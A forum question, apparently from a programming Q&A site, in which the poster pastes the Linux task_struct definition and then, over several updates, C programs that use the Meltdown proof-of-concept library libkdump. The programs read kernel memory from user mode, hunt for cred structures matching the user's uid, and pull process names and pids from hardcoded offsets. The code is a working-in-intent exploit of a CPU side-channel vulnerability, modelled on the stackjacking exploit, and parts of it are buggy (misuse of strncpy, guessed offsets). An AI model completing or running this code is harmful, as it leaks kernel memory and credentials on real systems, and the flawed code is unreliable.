Direct access to structure task_struct from Usermode as root - c

Question

I know it is supposed to be used in Kernel Modules.
But if I want to pass a pointer to struct task_struct and read the data (for example process name) from it in user mode with root privileges, will it be possible?
I want to access raw virtual addresses, and hope it will be a struct task_struct structure if not, go further. It will be kind of brute forcing virtual address for task_structs.
Do I have to go through Kernel Headers and import struct definitions manually to read each bytes?
Thanks,
Started to hack my way through Kernel, but it seem it will be a lot of stucts to work with:
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
#endif
/* -1 unrunnable, 0 runnable, >0 stopped: */
volatile long state;
/*
* This begins the randomizable portion of task_struct. Only
* scheduling-critical items should be added above here.
*/
randomized_struct_fields_start
void *stack;
atomic_t usage;
/* Per task flags (PF_*), defined further below: */
unsigned int flags;
unsigned int ptrace;
#ifdef CONFIG_SMP
struct llist_node wake_entry;
int on_cpu;
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* Current CPU: */
unsigned int cpu;
#endif
unsigned int wakee_flips;
unsigned long wakee_flip_decay_ts;
struct task_struct *last_wakee;
int wake_cpu;
#endif
int on_rq;
int prio;
int static_prio;
int normal_prio;
unsigned int rt_priority;
const struct sched_class *sched_class;
struct sched_entity se;
struct sched_rt_entity rt;
#ifdef CONFIG_CGROUP_SCHED
struct task_group *sched_task_group;
#endif
struct sched_dl_entity dl;
#ifdef CONFIG_PREEMPT_NOTIFIERS
/* List of struct preempt_notifier: */
struct hlist_head preempt_notifiers;
#endif
#ifdef CONFIG_BLK_DEV_IO_TRACE
unsigned int btrace_seq;
#endif
unsigned int policy;
int nr_cpus_allowed;
cpumask_t cpus_allowed;
#ifdef CONFIG_PREEMPT_RCU
int rcu_read_lock_nesting;
union rcu_special rcu_read_unlock_special;
struct list_head rcu_node_entry;
struct rcu_node *rcu_blocked_node;
#endif /* #ifdef CONFIG_PREEMPT_RCU */
#ifdef CONFIG_TASKS_RCU
unsigned long rcu_tasks_nvcsw;
bool rcu_tasks_holdout;
struct list_head rcu_tasks_holdout_list;
int rcu_tasks_idle_cpu;
#endif /* #ifdef CONFIG_TASKS_RCU */
struct sched_info sched_info;
struct list_head tasks;
#ifdef CONFIG_SMP
struct plist_node pushable_tasks;
struct rb_node pushable_dl_tasks;
#endif
struct mm_struct *mm;
struct mm_struct *active_mm;
/* Per-thread vma caching: */
struct vmacache vmacache;
#ifdef SPLIT_RSS_COUNTING
struct task_rss_stat rss_stat;
#endif
int exit_state;
int exit_code;
int exit_signal;
/* The signal sent when the parent dies: */
int pdeath_signal;
/* JOBCTL_*, siglock protected: */
unsigned long jobctl;
/* Used for emulating ABI behavior of previous Linux versions: */
unsigned int personality;
/* Scheduler bits, serialized by scheduler locks: */
unsigned sched_reset_on_fork:1;
unsigned sched_contributes_to_load:1;
unsigned sched_migrated:1;
unsigned sched_remote_wakeup:1;
/* Force alignment to the next boundary: */
unsigned :0;
/* Unserialized, strictly 'current' */
/* Bit to tell LSMs we're in execve(): */
unsigned in_execve:1;
unsigned in_iowait:1;
#ifndef TIF_RESTORE_SIGMASK
unsigned restore_sigmask:1;
#endif
#ifdef CONFIG_MEMCG
unsigned memcg_may_oom:1;
#ifndef CONFIG_SLOB
unsigned memcg_kmem_skip_account:1;
#endif
#endif
#ifdef CONFIG_COMPAT_BRK
unsigned brk_randomized:1;
#endif
#ifdef CONFIG_CGROUPS
/* disallow userland-initiated cgroup migration */
unsigned no_cgroup_migration:1;
#endif
unsigned long atomic_flags; /* Flags requiring atomic access. */
struct restart_block restart_block;
pid_t pid;
pid_t tgid;
#ifdef CONFIG_CC_STACKPROTECTOR
/* Canary value for the -fstack-protector GCC feature: */
unsigned long stack_canary;
#endif
/*
* Pointers to the (original) parent process, youngest child, younger sibling,
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/* Real parent process: */
struct task_struct __rcu *real_parent;
/* Recipient of SIGCHLD, wait4() reports: */
struct task_struct __rcu *parent;
/*
* Children/sibling form the list of natural children:
*/
struct list_head children;
struct list_head sibling;
struct task_struct *group_leader;
/*
* 'ptraced' is the list of tasks this task is using ptrace() on.
*
* This includes both natural children and PTRACE_ATTACH targets.
* 'ptrace_entry' is this task's link on the p->parent->ptraced list.
*/
struct list_head ptraced;
struct list_head ptrace_entry;
/* PID/PID hash table linkage. */
struct pid_link pids[PIDTYPE_MAX];
struct list_head thread_group;
struct list_head thread_node;
struct completion *vfork_done;
/* CLONE_CHILD_SETTID: */
int __user *set_child_tid;
/* CLONE_CHILD_CLEARTID: */
int __user *clear_child_tid;
u64 utime;
u64 stime;
#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
u64 utimescaled;
u64 stimescaled;
#endif
u64 gtime;
struct prev_cputime prev_cputime;
#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
struct vtime vtime;
#endif
#ifdef CONFIG_NO_HZ_FULL
atomic_t tick_dep_mask;
#endif
/* Context switch counts: */
unsigned long nvcsw;
unsigned long nivcsw;
/* Monotonic time in nsecs: */
u64 start_time;
/* Boot based time in nsecs: */
u64 real_start_time;
/* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
unsigned long min_flt;
unsigned long maj_flt;
#ifdef CONFIG_POSIX_TIMERS
struct task_cputime cputime_expires;
struct list_head cpu_timers[3];
#endif
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
#ifdef CONFIG_DETECT_HUNG_TASK
unsigned long last_switch_count;
#endif
/* Filesystem information: */
struct fs_struct *fs;
/* Open file information: */
struct files_struct *files;
/* Namespaces: */
struct nsproxy *nsproxy;
/* Signal handlers: */
struct signal_struct *signal;
struct sighand_struct *sighand;
sigset_t blocked;
sigset_t real_blocked;
/* Restored if set_restore_sigmask() was used: */
sigset_t saved_sigmask;
struct sigpending pending;
unsigned long sas_ss_sp;
size_t sas_ss_size;
unsigned int sas_ss_flags;
struct callback_head *task_works;
struct audit_context *audit_context;
#ifdef CONFIG_AUDITSYSCALL
kuid_t loginuid;
unsigned int sessionid;
#endif
struct seccomp seccomp;
/* Thread group tracking: */
u32 parent_exec_id;
u32 self_exec_id;
/* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
spinlock_t alloc_lock;
/* Protection of the PI data structures: */
raw_spinlock_t pi_lock;
struct wake_q_node wake_q;
#ifdef CONFIG_RT_MUTEXES
/* PI waiters blocked on a rt_mutex held by this task: */
struct rb_root pi_waiters;
struct rb_node *pi_waiters_leftmost;
/* Updated under owner's pi_lock and rq lock */
struct task_struct *pi_top_task;
/* Deadlock detection and priority inheritance handling: */
struct rt_mutex_waiter *pi_blocked_on;
#endif
#ifdef CONFIG_DEBUG_MUTEXES
/* Mutex deadlock detection: */
struct mutex_waiter *blocked_on;
#endif
#ifdef CONFIG_TRACE_IRQFLAGS
unsigned int irq_events;
unsigned long hardirq_enable_ip;
unsigned long hardirq_disable_ip;
unsigned int hardirq_enable_event;
unsigned int hardirq_disable_event;
int hardirqs_enabled;
int hardirq_context;
unsigned long softirq_disable_ip;
unsigned long softirq_enable_ip;
unsigned int softirq_disable_event;
unsigned int softirq_enable_event;
int softirqs_enabled;
int softirq_context;
#endif
#ifdef CONFIG_LOCKDEP
# define MAX_LOCK_DEPTH 48UL
u64 curr_chain_key;
int lockdep_depth;
unsigned int lockdep_recursion;
struct held_lock held_locks[MAX_LOCK_DEPTH];
gfp_t lockdep_reclaim_gfp;
#endif
#ifdef CONFIG_UBSAN
unsigned int in_ubsan;
#endif
/* Journalling filesystem info: */
void *journal_info;
/* Stacked block device info: */
struct bio_list *bio_list;
#ifdef CONFIG_BLOCK
/* Stack plugging: */
struct blk_plug *plug;
#endif
/* VM state: */
struct reclaim_state *reclaim_state;
struct backing_dev_info *backing_dev_info;
struct io_context *io_context;
/* Ptrace state: */
unsigned long ptrace_message;
siginfo_t *last_siginfo;
struct task_io_accounting ioac;
#ifdef CONFIG_TASK_XACCT
/* Accumulated RSS usage: */
u64 acct_rss_mem1;
/* Accumulated virtual memory usage: */
u64 acct_vm_mem1;
/* stime + utime since last update: */
u64 acct_timexpd;
#endif
#ifdef CONFIG_CPUSETS
/* Protected by ->alloc_lock: */
nodemask_t mems_allowed;
/* Seqence number to catch updates: */
seqcount_t mems_allowed_seq;
int cpuset_mem_spread_rotor;
int cpuset_slab_spread_rotor;
#endif
#ifdef CONFIG_CGROUPS
/* Control Group info protected by css_set_lock: */
struct css_set __rcu *cgroups;
/* cg_list protected by css_set_lock and tsk->alloc_lock: */
struct list_head cg_list;
#endif
#ifdef CONFIG_INTEL_RDT
u32 closid;
u32 rmid;
#endif
#ifdef CONFIG_FUTEX
struct robust_list_head __user *robust_list;
#ifdef CONFIG_COMPAT
struct compat_robust_list_head __user *compat_robust_list;
#endif
struct list_head pi_state_list;
struct futex_pi_state *pi_state_cache;
#endif
#ifdef CONFIG_PERF_EVENTS
struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];
struct mutex perf_event_mutex;
struct list_head perf_event_list;
#endif
#ifdef CONFIG_DEBUG_PREEMPT
unsigned long preempt_disable_ip;
#endif
#ifdef CONFIG_NUMA
/* Protected by alloc_lock: */
struct mempolicy *mempolicy;
short il_prev;
short pref_node_fork;
#endif
#ifdef CONFIG_NUMA_BALANCING
int numa_scan_seq;
unsigned int numa_scan_period;
unsigned int numa_scan_period_max;
int numa_preferred_nid;
unsigned long numa_migrate_retry;
/* Migration stamp: */
u64 node_stamp;
u64 last_task_numa_placement;
u64 last_sum_exec_runtime;
struct callback_head numa_work;
struct list_head numa_entry;
struct numa_group *numa_group;
/*
* numa_faults is an array split into four regions:
* faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
* in this precise order.
*
* faults_memory: Exponential decaying average of faults on a per-node
* basis. Scheduling placement decisions are made based on these
* counts. The values remain static for the duration of a PTE scan.
* faults_cpu: Track the nodes the process was running on when a NUMA
* hinting fault was incurred.
* faults_memory_buffer and faults_cpu_buffer: Record faults per node
* during the current scan window. When the scan completes, the counts
* in faults_memory and faults_cpu decay and these values are copied.
*/
unsigned long *numa_faults;
unsigned long total_numa_faults;
/*
* numa_faults_locality tracks if faults recorded during the last
* scan window were remote/local or failed to migrate. The task scan
* period is adapted based on the locality of the faults with different
* weights depending on whether they were shared or private faults
*/
unsigned long numa_faults_locality[3];
unsigned long numa_pages_migrated;
#endif /* CONFIG_NUMA_BALANCING */
struct tlbflush_unmap_batch tlb_ubc;
struct rcu_head rcu;
/* Cache last used pipe for splice(): */
struct pipe_inode_info *splice_pipe;
struct page_frag task_frag;
#ifdef CONFIG_TASK_DELAY_ACCT
struct task_delay_info *delays;
#endif
#ifdef CONFIG_FAULT_INJECTION
int make_it_fail;
unsigned int fail_nth;
#endif
/*
* When (nr_dirtied >= nr_dirtied_pause), it's time to call
* balance_dirty_pages() for a dirty throttling pause:
*/
int nr_dirtied;
int nr_dirtied_pause;
/* Start of a write-and-pause period: */
unsigned long dirty_paused_when;
#ifdef CONFIG_LATENCYTOP
int latency_record_count;
struct latency_record latency_record[LT_SAVECOUNT];
#endif
/*
* Time slack values; these are used to round up poll() and
* select() etc timeout values. These are in nanoseconds.
*/
u64 timer_slack_ns;
u64 default_timer_slack_ns;
#ifdef CONFIG_KASAN
unsigned int kasan_depth;
#endif
#ifdef CONFIG_FUNCTION_GRAPH_TRACER
/* Index of current stored address in ret_stack: */
int curr_ret_stack;
/* Stack of return addresses for return function tracing: */
struct ftrace_ret_stack *ret_stack;
/* Timestamp for last schedule: */
unsigned long long ftrace_timestamp;
/*
* Number of functions that haven't been traced
* because of depth overrun:
*/
atomic_t trace_overrun;
/* Pause tracing: */
atomic_t tracing_graph_pause;
#endif
#ifdef CONFIG_TRACING
/* State flags for use by tracers: */
unsigned long trace;
/* Bitmask and counter of trace recursion: */
unsigned long trace_recursion;
#endif /* CONFIG_TRACING */
#ifdef CONFIG_KCOV
/* Coverage collection mode enabled for this task (0 if disabled): */
enum kcov_mode kcov_mode;
/* Size of the kcov_area: */
unsigned int kcov_size;
/* Buffer for coverage collection: */
void *kcov_area;
/* KCOV descriptor wired with this task or NULL: */
struct kcov *kcov;
#endif
#ifdef CONFIG_MEMCG
struct mem_cgroup *memcg_in_oom;
gfp_t memcg_oom_gfp_mask;
int memcg_oom_order;
/* Number of pages to reclaim on returning to userland: */
unsigned int memcg_nr_pages_over_high;
#endif
#ifdef CONFIG_UPROBES
struct uprobe_task *utask;
#endif
#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
unsigned int sequential_io;
unsigned int sequential_io_avg;
#endif
#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
unsigned long task_state_change;
#endif
int pagefault_disabled;
#ifdef CONFIG_MMU
struct task_struct *oom_reaper_list;
#endif
#ifdef CONFIG_VMAP_STACK
struct vm_struct *stack_vm_area;
#endif
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* A live task holds one reference: */
atomic_t stack_refcount;
#endif
#ifdef CONFIG_LIVEPATCH
int patch_state;
#endif
#ifdef CONFIG_SECURITY
/* Used by LSM modules for access restriction: */
void *security;
#endif
/*
* New fields for task_struct should be added above here, so that
* they are included in the randomized portion of task_struct.
*/
randomized_struct_fields_end
/* CPU-specific state of this task: */
struct thread_struct thread;
/*
* WARNING: on x86, 'thread_struct' contains a variable-sized
* structure. It *MUST* be at the end of 'task_struct'.
*
* Do not put anything below here!
*/
};
Update 1:
Starting to write this code, based on this:
https://github.com/jonoberheide/stackjacking/blob/master/stackjack.c
It seems it is possible.
I want to pass input a memory access (via Meltdown):
read_struct_task.c
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
int i=0;
int value[512];
unsigned long task, cred, cred_ptr, real_cred, real_cred_ptr, val;
unsigned found_cred = 0, uid = getuid();
unsigned long * task_struct;
while (1) {
if(i==511)
{
task = value[0];
printf("[*] Looking for task_struct at %lx\n", vaddr);
task_struct = malloc(sizeof(long) * 0x200);
printf("[*] Reading task_struct...\n");
strncpy(task_struct, value, sizeof(long) * 0x200);
printf("[*] Finding cred struct (grab a coffee)...\n");
cred_ptr = task + 0x80;
for (i = 0; i < 0x200; i++) {
/* Looking for cred */
if(!found_cred) {
cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid) {
found_cred = 1;
real_cred_ptr = cred_ptr + 4;
printf("[*] cred struct ptr at %lx\n", cred_ptr);
printf("[*] cred struct at %lx\n", cred);
printf("[*] Finding real_cred struct...\n");
continue;
}
}
cred_ptr += sizeof(long);
}
/* Looking for real_cred */
else {
real_cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid)
break;
}
real_cred_ptr += sizeof(long);
}
}
free(task_struct);
printf("[*] real_cred struct ptr at %lx\n", real_cred_ptr);
printf("[*] real_cred struct at %lx\n", real_cred);
i=0;
}
value[i] = libkdump_read(vaddr);
vaddr++;
i++;
}
libkdump_cleanup();
return 0;
}
Update 2:
I am not that experienced in this area.
Will the task_struct always be 512 bytes ? Kernel 3.2.x, 4.4.x? Do I have to manually calculate it for each Kernel? How?
How to find process name in this structure? Snippet in Update 1: is for cred struct.
Should I better use memcpy() instead of strncpy()?
A code sample would be great.
I guess to debug it I will need to write kernel module that shows me the pointer to task_struct and then verify it with my usermode program, if the values are read correctly.
Thanks!
Update 3:
I think I made a mistake. Long is 4 or 8 bytes. So the task_struck will be 512*4 bytes?
Update 4:
Or so the struct seem to be
size:5760
5760 bytes on Kernel 4.3.5
and the name of the process it the offset +996
Wondering if this is consistent among Kernels.
Update 5:
This should read processname and pid:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
char values[5760];
int pid=0;
while (1) {
for(int i=0;i<5760;i++)
{
values[i] = libkdump_read(vaddr);
printf("%c\n",values[i]);
vaddr++;
}
memcpy(&pid,values+768,sizeof(int));
if(strcmp(values+996,"bash")==0)
printf("addr:%p\tstr:%s\tpid:%i\n",vaddr,values+996,pid);
}
libkdump_cleanup();
return 0;
}